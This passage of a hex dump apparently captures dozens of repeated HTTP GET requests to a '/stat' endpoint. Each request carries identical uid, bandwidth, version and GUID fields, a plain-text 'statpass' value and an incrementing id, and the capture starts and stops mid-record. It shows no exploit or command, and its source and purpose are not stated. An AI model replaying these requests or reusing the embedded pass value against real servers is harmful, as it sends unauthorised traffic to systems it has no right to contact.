0x00000030 (00048)   30313542 35343026 73746174 70617373   015B540&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313543 38453726 73746174 70617373   015C8E7&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313544 43414526 73746174 70617373   015DCAE&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313546 30373426 73746174 70617373   015F074&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313630 34334226 73746174 70617373   016043B&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313631 37463126 73746174 70617373   01617F1&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313632 42433826 73746174 70617373   0162BC8&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313633 46374526 73746174 70617373   0163F7E&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313635 33343526 73746174 70617373   0165345&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313636 36464326 73746174 70617373   01666FC&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313637 41423326 73746174 70617373   0167AB3&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313638 45354126 73746174 70617373   0168E5A&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313641 32303126 73746174 70617373   016A201&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313642 35413826 73746174 70617373   016B5A8&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313643 39353026 73746174 70617373   016C950&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313644 43463726 73746174 70617373   016DCF7&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313646 30414526 73746174 70617373   016F0AE&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313730 34363526 73746174 70617373   0170465&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313731 38314326 73746174 70617373   017181C&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313732 42453226 73746174 70617373   0172BE2&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313733 46393926 73746174 70617373   0173F99&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313735 33354626 73746174 70617373   017535F&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313736 37333626 73746174 70617373   0176736&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313737 41464326 73746174 70617373   0177AFC&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313738 45413326 73746174 70617373   0178EA3&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313741 32383926 73746174 70617373   017A289&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313742 36364626 73746174 70617373   017B66F&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313743 41333526 73746174 70617373   017CA35&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313744 44464326 73746174 70617373   017DDFC&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313746 31433226 73746174 70617373   017F1C2&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313830 35383926 73746174 70617373   0180589&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313831 39343026 73746174 70617373   0181940&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
